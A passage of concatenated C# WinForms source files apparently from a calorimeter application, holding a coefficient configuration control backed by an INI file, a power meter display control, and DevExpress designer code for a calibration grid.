private DevExpress.XtraGrid.Views.BandedGrid.GridBand asNozzleID22Band;
private DevExpress.XtraEditors.Repository.RepositoryItemCheckEdit asNozzleCheckEdit;
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Ulee.Controls;
using Ulee.Utils;
namespace Hnc.Calorimeter.Client
{
public partial class CtrlConfigCoefficient : UlUserControlEng
{
public CtrlConfigCoefficient()
{
InitializeComponent();
Initialize();
}
private List<CoefficientViewRow> coefficients;
private void Initialize()
{
coefficients = new List<CoefficientViewRow>();
}
private void CtrlConfigCoefficient_Enter(object sender, EventArgs e)
{
LoadCoefficient();
}
private void CtrlConfigCoefficient_Load(object sender, EventArgs e)
{
coeffGrid.DataSource = coefficients;
coeffGridView.Appearance.EvenRow.BackColor = Color.FromArgb(244, 244, 236);
coeffGridView.OptionsView.EnableAppearanceEvenRow = true;
}
private void LoadCoefficient()
{
string key;
UlIniFile ini = Resource.Ini;
coefficients.Clear();
foreach (ECoefficient coeff in Enum.GetValues(typeof(ECoefficient)))
{
key = coeff.ToString();
coefficients.Add(new CoefficientViewRow(
coeff.ToDescription(),
(float)ini.GetDouble("Coefficient.ID11", key),
(float)ini.GetDouble("Coefficient.ID12", key),
(float)ini.GetDouble("Coefficient.ID21", key),
(float)ini.GetDouble("Coefficient.ID22", key)));
}
coeffGridView.RefreshData();
}
private void saveButton_Click(object sender, EventArgs e)
{
if (MessageBox.Show("Would you like to save current coefficient values?",
Resource.Caption, MessageBoxButtons.YesNo, MessageBoxIcon.Question)
== DialogResult.No)
{
return;
}
UlIniFile ini = Resource.Ini;
saveButton.Focus();
foreach (ECoefficient coeff in Enum.GetValues(typeof(ECoefficient)))
{
ini.SetDouble("Coefficient.ID11", coeff.ToString(), coefficients[(int)coeff].ID11);
ini.SetDouble("Coefficient.ID12", coeff.ToString(), coefficients[(int)coeff].ID12);
ini.SetDouble("Coefficient.ID21", coeff.ToString(), coefficients[(int)coeff].ID21);
ini.SetDouble("Coefficient.ID22", coeff.ToString(), coefficients[(int)coeff].ID22);
}
Resource.Settings.Load();
coeffGridView.Focus();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Ulee.Controls;
using Ulee.Device.Connection.Yokogawa;
namespace Hnc.Calorimeter.Client
{
public partial class CtrlPowerMeterView : UlUserControlEng
{
public CtrlPowerMeterView(string name)
{
InitializeComponent();
titleEdit.Text = name;
Initialize();
}
private List<UlPanel> meters;
private void Initialize()
{
meters = new List<UlPanel>();
meters.Add(powerREdit);
meters.Add(voltREdit);
meters.Add(currentREdit);
meters.Add(hzREdit);
meters.Add(pfREdit);
meters.Add(whREdit);
meters.Add(powerSEdit);
meters.Add(voltSEdit);
meters.Add(currentSEdit);
meters.Add(hzSEdit);
meters.Add(pfSEdit);
meters.Add(whSEdit);
meters.Add(powerTEdit);
meters.Add(voltTEdit);
meters.Add(currentTEdit);
meters.Add(hzTEdit);
meters.Add(pfTEdit);
meters.Add(whTEdit);
meters.Add(powerSigmaEdit);
meters.Add(voltSigmaEdit);
meters.Add(currentSigmaEdit);
meters.Add(hzSigmaEdit);
meters.Add(pfSigmaEdit);
meters.Add(whSigmaEdit);
meters.Add(integTimeEdit);
}
public void RefreshMeter(EWT330Phase phase, List<DeviceValueRow<float>> rows)
{
for (int i = 0; i < 24; i++)
{
meters[i].Text = $"{rows[i].Value:f1}";
}
meters[24].Text = $"{rows[24].Value:f0}";
//if (phase == EWT330Phase.P1)
//{
// for (int i = 0; i < 6; i++)
// {
// meters[i].Text = $"{rows[i].Value:f1}";
// }
// meters[24].Text = $"{rows[6].Value:f0}";
// for (int i = 0; i < 19; i++)
// {
// meters[i+6].Text = "0.0";
// }
//}
//else
//{
// for (int i = 0; i < 24; i++)
// {
// meters[i].Text = $"{rows[i].Value:f1}";
// }
// meters[24].Text = $"{rows[24].Value:f0}";
//}
}
}
}
<file_sep>namespace Hnc.Calorimeter.Server
{
partial class CtrlCalibGrid
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(CtrlCalibGrid));
this.channelGrid = new DevExpress.XtraGrid.GridControl();
this.channelGridView = new DevExpress.XtraGrid.Views.BandedGrid.AdvBandedGridView();
this.cgGeneralBand = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.cgCheckedColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgNoColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cdNameColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgMeasValueBand = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.cgRawValueColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cdRealValueColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint1Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.cgPoint1PvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint1SvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint2Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.cgPoint2PvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint2SvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint3Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.cgPoint3PvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint3SvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint4Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.cgPoint4PvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint4SvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint5Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.cgPoint5PvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint5SvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint6Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.cgPoint6PvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint6SvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint7Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.cgPoint7PvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint7SvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint8Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.cgPoint8PvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint8SvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint9Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.cgPoint9PvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint9SvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint10Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.cgPoint10PvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint10SvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint11Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.cgPoint11PvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint11SvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint12Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.cgPoint12PvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint12SvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint13Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.cgPoint13PvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint13SvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint14Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.cgPoint14PvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint14SvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint15Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.cgPoint15PvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint15SvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint16Band = new DevExpress.XtraGrid.Views.BandedGrid.GridBand();
this.cgPoint16PvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.cgPoint16SvColumn = new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn();
this.imageList = new System.Windows.Forms.ImageList();
this.behaviorManager1 = new DevExpress.Utils.Behaviors.BehaviorManager();
this.bgPanel.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.channelGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.channelGridView)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.behaviorManager1)).BeginInit();
this.SuspendLayout();
//
// bgPanel
//
this.bgPanel.AutoSize = false;
this.bgPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.bgPanel.Controls.Add(this.channelGrid);
this.bgPanel.Size = new System.Drawing.Size(984, 588);
//
// channelGrid
//
this.channelGrid.Dock = System.Windows.Forms.DockStyle.Fill;
this.channelGrid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.channelGrid.Location = new System.Drawing.Point(0, 0);
this.channelGrid.MainView = this.channelGridView;
this.channelGrid.Name = "channelGrid";
this.channelGrid.Size = new System.Drawing.Size(984, 588);
this.channelGrid.TabIndex = 3;
this.channelGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.channelGridView});
//
// channelGridView
//
this.channelGridView.Appearance.BandPanel.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.channelGridView.Appearance.BandPanel.Options.UseFont = true;
this.channelGridView.Appearance.EvenRow.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.channelGridView.Appearance.EvenRow.Options.UseFont = true;
this.channelGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.channelGridView.Appearance.FixedLine.Options.UseFont = true;
this.channelGridView.Appearance.FocusedCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.channelGridView.Appearance.FocusedCell.Options.UseFont = true;
this.channelGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.channelGridView.Appearance.FocusedRow.Options.UseFont = true;
this.channelGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.channelGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.channelGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.channelGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.channelGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.channelGridView.Appearance.OddRow.Options.UseFont = true;
this.channelGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.channelGridView.Appearance.Preview.Options.UseFont = true;
this.channelGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.channelGridView.Appearance.Row.Options.UseFont = true;
this.channelGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.channelGridView.Appearance.SelectedRow.Options.UseFont = true;
this.channelGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.channelGridView.Appearance.ViewCaption.Options.UseFont = true;
this.channelGridView.Bands.AddRange(new DevExpress.XtraGrid.Views.BandedGrid.GridBand[] {
this.cgGeneralBand,
this.cgMeasValueBand,
this.cgPoint1Band,
this.cgPoint2Band,
this.cgPoint3Band,
this.cgPoint4Band,
this.cgPoint5Band,
this.cgPoint6Band,
this.cgPoint7Band,
this.cgPoint8Band,
this.cgPoint9Band,
this.cgPoint10Band,
this.cgPoint11Band,
this.cgPoint12Band,
this.cgPoint13Band,
this.cgPoint14Band,
this.cgPoint15Band,
this.cgPoint16Band});
this.channelGridView.Columns.AddRange(new DevExpress.XtraGrid.Views.BandedGrid.BandedGridColumn[] {
this.cgCheckedColumn,
this.cgNoColumn,
this.cdNameColumn,
this.cgRawValueColumn,
this.cdRealValueColumn,
this.cgPoint1PvColumn,
this.cgPoint1SvColumn,
this.cgPoint2PvColumn,
this.cgPoint2SvColumn,
this.cgPoint3PvColumn,
this.cgPoint3SvColumn,
this.cgPoint4PvColumn,
this.cgPoint4SvColumn,
this.cgPoint5PvColumn,
this.cgPoint5SvColumn,
this.cgPoint6PvColumn,
this.cgPoint6SvColumn,
this.cgPoint7PvColumn,
this.cgPoint7SvColumn,
this.cgPoint8PvColumn,
this.cgPoint8SvColumn,
this.cgPoint9PvColumn,
this.cgPoint9SvColumn,
this.cgPoint10PvColumn,
this.cgPoint10SvColumn,
this.cgPoint11PvColumn,
this.cgPoint11SvColumn,
this.cgPoint12PvColumn,
this.cgPoint12SvColumn,
this.cgPoint13PvColumn,
this.cgPoint13SvColumn,
this.cgPoint14PvColumn,
this.cgPoint14SvColumn,
this.cgPoint15PvColumn,
this.cgPoint15SvColumn,
this.cgPoint16PvColumn,
this.cgPoint16SvColumn});
this.channelGridView.GridControl = this.channelGrid;
this.channelGridView.Images = this.imageList;
this.channelGridView.IndicatorWidth = 40;
this.channelGridView.Name = "channelGridView";
this.channelGridView.OptionsSelection.EnableAppearanceFocusedRow = false;
this.channelGridView.OptionsView.ShowGroupPanel = false;
this.channelGridView.OptionsView.ShowIndicator = false;
this.channelGridView.CustomDrawColumnHeader += new DevExpress.XtraGrid.Views.Grid.ColumnHeaderCustomDrawEventHandler(this.channelGridView_CustomDrawColumnHeader);
this.channelGridView.CellValueChanged += new DevExpress.XtraGrid.Views.Base.CellValueChangedEventHandler(this.channelGridView_CellValueChanged);
this.channelGridView.MouseDown += new System.Windows.Forms.MouseEventHandler(this.channelGridView_MouseDown);
//
// cgGeneralBand
//
this.cgGeneralBand.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgGeneralBand.AppearanceHeader.Options.UseFont = true;
this.cgGeneralBand.AppearanceHeader.Options.UseTextOptions = true;
this.cgGeneralBand.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.cgGeneralBand.Caption = "General";
this.cgGeneralBand.Columns.Add(this.cgCheckedColumn);
this.cgGeneralBand.Columns.Add(this.cgNoColumn);
this.cgGeneralBand.Columns.Add(this.cdNameColumn);
this.cgGeneralBand.Name = "cgGeneralBand";
this.cgGeneralBand.OptionsBand.AllowHotTrack = false;
this.cgGeneralBand.OptionsBand.AllowMove = false;
this.cgGeneralBand.OptionsBand.AllowPress = false;
this.cgGeneralBand.VisibleIndex = 0;
this.cgGeneralBand.Width = 335;
//
// cgCheckedColumn
//
this.cgCheckedColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgCheckedColumn.AppearanceCell.Options.UseFont = true;
this.cgCheckedColumn.AppearanceCell.Options.UseTextOptions = true;
this.cgCheckedColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.cgCheckedColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgCheckedColumn.AppearanceHeader.Options.UseImage = true;
this.cgCheckedColumn.FieldName = "Checked";
this.cgCheckedColumn.ImageOptions.Alignment = System.Drawing.StringAlignment.Center;
this.cgCheckedColumn.ImageOptions.ImageIndex = 0;
this.cgCheckedColumn.Name = "cgCheckedColumn";
this.cgCheckedColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.cgCheckedColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgCheckedColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgCheckedColumn.OptionsColumn.AllowMove = false;
this.cgCheckedColumn.OptionsColumn.AllowShowHide = false;
this.cgCheckedColumn.OptionsColumn.AllowSize = false;
this.cgCheckedColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgCheckedColumn.OptionsColumn.FixedWidth = true;
this.cgCheckedColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgCheckedColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgCheckedColumn.OptionsColumn.TabStop = false;
this.cgCheckedColumn.OptionsFilter.AllowAutoFilter = false;
this.cgCheckedColumn.OptionsFilter.AllowFilter = false;
this.cgCheckedColumn.Visible = true;
this.cgCheckedColumn.Width = 30;
//
// cgNoColumn
//
this.cgNoColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgNoColumn.AppearanceCell.Options.UseFont = true;
this.cgNoColumn.AppearanceCell.Options.UseTextOptions = true;
this.cgNoColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.cgNoColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgNoColumn.AppearanceHeader.Options.UseFont = true;
this.cgNoColumn.AppearanceHeader.Options.UseTextOptions = true;
this.cgNoColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.cgNoColumn.Caption = "No";
this.cgNoColumn.DisplayFormat.FormatString = "d3";
this.cgNoColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgNoColumn.FieldName = "No";
this.cgNoColumn.Name = "cgNoColumn";
this.cgNoColumn.OptionsColumn.AllowEdit = false;
this.cgNoColumn.OptionsColumn.AllowFocus = false;
this.cgNoColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.cgNoColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgNoColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgNoColumn.OptionsColumn.AllowMove = false;
this.cgNoColumn.OptionsColumn.AllowShowHide = false;
this.cgNoColumn.OptionsColumn.AllowSize = false;
this.cgNoColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgNoColumn.OptionsColumn.FixedWidth = true;
this.cgNoColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgNoColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgNoColumn.OptionsColumn.ReadOnly = true;
this.cgNoColumn.OptionsFilter.AllowAutoFilter = false;
this.cgNoColumn.OptionsFilter.AllowFilter = false;
this.cgNoColumn.Visible = true;
this.cgNoColumn.Width = 38;
//
// cdNameColumn
//
this.cdNameColumn.Caption = "Name";
this.cdNameColumn.FieldName = "Name";
this.cdNameColumn.MinWidth = 100;
this.cdNameColumn.Name = "cdNameColumn";
this.cdNameColumn.OptionsColumn.AllowEdit = false;
this.cdNameColumn.OptionsColumn.AllowFocus = false;
this.cdNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.cdNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cdNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cdNameColumn.OptionsColumn.AllowMove = false;
this.cdNameColumn.OptionsColumn.AllowShowHide = false;
this.cdNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cdNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cdNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cdNameColumn.OptionsColumn.ReadOnly = true;
this.cdNameColumn.OptionsFilter.AllowAutoFilter = false;
this.cdNameColumn.OptionsFilter.AllowFilter = false;
this.cdNameColumn.Visible = true;
this.cdNameColumn.Width = 267;
//
// cgMeasValueBand
//
this.cgMeasValueBand.Caption = "Measured Value";
this.cgMeasValueBand.Columns.Add(this.cgRawValueColumn);
this.cgMeasValueBand.Columns.Add(this.cdRealValueColumn);
this.cgMeasValueBand.Name = "cgMeasValueBand";
this.cgMeasValueBand.OptionsBand.AllowHotTrack = false;
this.cgMeasValueBand.OptionsBand.AllowMove = false;
this.cgMeasValueBand.OptionsBand.AllowPress = false;
this.cgMeasValueBand.VisibleIndex = 1;
this.cgMeasValueBand.Width = 136;
//
// cgRawValueColumn
//
this.cgRawValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgRawValueColumn.AppearanceCell.Options.UseFont = true;
this.cgRawValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgRawValueColumn.AppearanceHeader.Options.UseFont = true;
this.cgRawValueColumn.Caption = "Raw";
this.cgRawValueColumn.DisplayFormat.FormatString = "f3";
this.cgRawValueColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgRawValueColumn.FieldName = "Raw";
this.cgRawValueColumn.Name = "cgRawValueColumn";
this.cgRawValueColumn.OptionsColumn.AllowEdit = false;
this.cgRawValueColumn.OptionsColumn.AllowFocus = false;
this.cgRawValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.cgRawValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgRawValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgRawValueColumn.OptionsColumn.AllowMove = false;
this.cgRawValueColumn.OptionsColumn.AllowShowHide = false;
this.cgRawValueColumn.OptionsColumn.AllowSize = false;
this.cgRawValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgRawValueColumn.OptionsColumn.FixedWidth = true;
this.cgRawValueColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgRawValueColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgRawValueColumn.OptionsColumn.ReadOnly = true;
this.cgRawValueColumn.OptionsFilter.AllowAutoFilter = false;
this.cgRawValueColumn.OptionsFilter.AllowFilter = false;
this.cgRawValueColumn.Visible = true;
this.cgRawValueColumn.Width = 68;
//
// cdRealValueColumn
//
this.cdRealValueColumn.Caption = "Real";
this.cdRealValueColumn.DisplayFormat.FormatString = "f3";
this.cdRealValueColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cdRealValueColumn.FieldName = "Real";
this.cdRealValueColumn.Name = "cdRealValueColumn";
this.cdRealValueColumn.OptionsColumn.AllowEdit = false;
this.cdRealValueColumn.OptionsColumn.AllowFocus = false;
this.cdRealValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.cdRealValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cdRealValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cdRealValueColumn.OptionsColumn.AllowMove = false;
this.cdRealValueColumn.OptionsColumn.AllowShowHide = false;
this.cdRealValueColumn.OptionsColumn.AllowSize = false;
this.cdRealValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cdRealValueColumn.OptionsColumn.FixedWidth = true;
this.cdRealValueColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cdRealValueColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cdRealValueColumn.OptionsColumn.ReadOnly = true;
this.cdRealValueColumn.OptionsFilter.AllowAutoFilter = false;
this.cdRealValueColumn.OptionsFilter.AllowFilter = false;
this.cdRealValueColumn.Visible = true;
this.cdRealValueColumn.Width = 68;
//
// cgPoint1Band
//
this.cgPoint1Band.Caption = "#1";
this.cgPoint1Band.Columns.Add(this.cgPoint1PvColumn);
this.cgPoint1Band.Columns.Add(this.cgPoint1SvColumn);
this.cgPoint1Band.Name = "cgPoint1Band";
this.cgPoint1Band.OptionsBand.AllowHotTrack = false;
this.cgPoint1Band.OptionsBand.AllowMove = false;
this.cgPoint1Band.VisibleIndex = 2;
this.cgPoint1Band.Width = 136;
//
// cgPoint1PvColumn
//
this.cgPoint1PvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint1PvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint1PvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint1PvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint1PvColumn.Caption = "PV";
this.cgPoint1PvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint1PvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint1PvColumn.FieldName = "PV1";
this.cgPoint1PvColumn.Name = "cgPoint1PvColumn";
this.cgPoint1PvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint1PvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint1PvColumn.OptionsColumn.AllowMove = false;
this.cgPoint1PvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint1PvColumn.OptionsColumn.AllowSize = false;
this.cgPoint1PvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint1PvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint1PvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint1PvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint1PvColumn.OptionsFilter.AllowAutoFilter = false;
this.cgPoint1PvColumn.OptionsFilter.AllowFilter = false;
this.cgPoint1PvColumn.Visible = true;
this.cgPoint1PvColumn.Width = 68;
//
// cgPoint1SvColumn
//
this.cgPoint1SvColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint1SvColumn.AppearanceCell.Options.UseFont = true;
this.cgPoint1SvColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgPoint1SvColumn.AppearanceHeader.Options.UseFont = true;
this.cgPoint1SvColumn.Caption = "SV";
this.cgPoint1SvColumn.DisplayFormat.FormatString = "f3";
this.cgPoint1SvColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgPoint1SvColumn.FieldName = "SV1";
this.cgPoint1SvColumn.Name = "cgPoint1SvColumn";
this.cgPoint1SvColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgPoint1SvColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint1SvColumn.OptionsColumn.AllowMove = false;
this.cgPoint1SvColumn.OptionsColumn.AllowShowHide = false;
this.cgPoint1SvColumn.OptionsColumn.AllowSize = false;
this.cgPoint1SvColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint1SvColumn.OptionsColumn.FixedWidth = true;
this.cgPoint1SvColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgPoint1SvColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
